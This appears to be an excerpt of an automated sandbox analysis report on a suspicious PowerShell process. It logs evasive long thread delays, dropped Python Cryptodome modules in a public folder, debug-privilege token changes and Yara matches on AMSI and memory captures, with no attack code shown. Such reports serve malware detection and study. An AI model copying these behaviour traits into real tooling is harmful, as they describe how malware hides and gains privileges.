Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 15_2_00007FFAAC3132F3 str word ptr [eax-22h]

15_2_00007FFAAC3132F3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4910	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4983	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4590	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3760	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4829	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4897	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4429	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5013	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Cryptodome\Cipher\_raw_eksblowfish.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8056	Thread sleep count: 4910 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8056	Thread sleep count: 4983 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8092	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7216	Thread sleep count: 4590 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7244	Thread sleep count: 3760 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1456	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 396	Thread sleep count: 4829 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 396	Thread sleep count: 4897 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2868	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812	Thread sleep count: 4429 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812	Thread sleep count: 5013 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 0000000D.00000002.1401370832.000001876A230000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1600602765.0000023E72192000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: Yara match	File source: amsi64_7988.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_2064.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2064, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
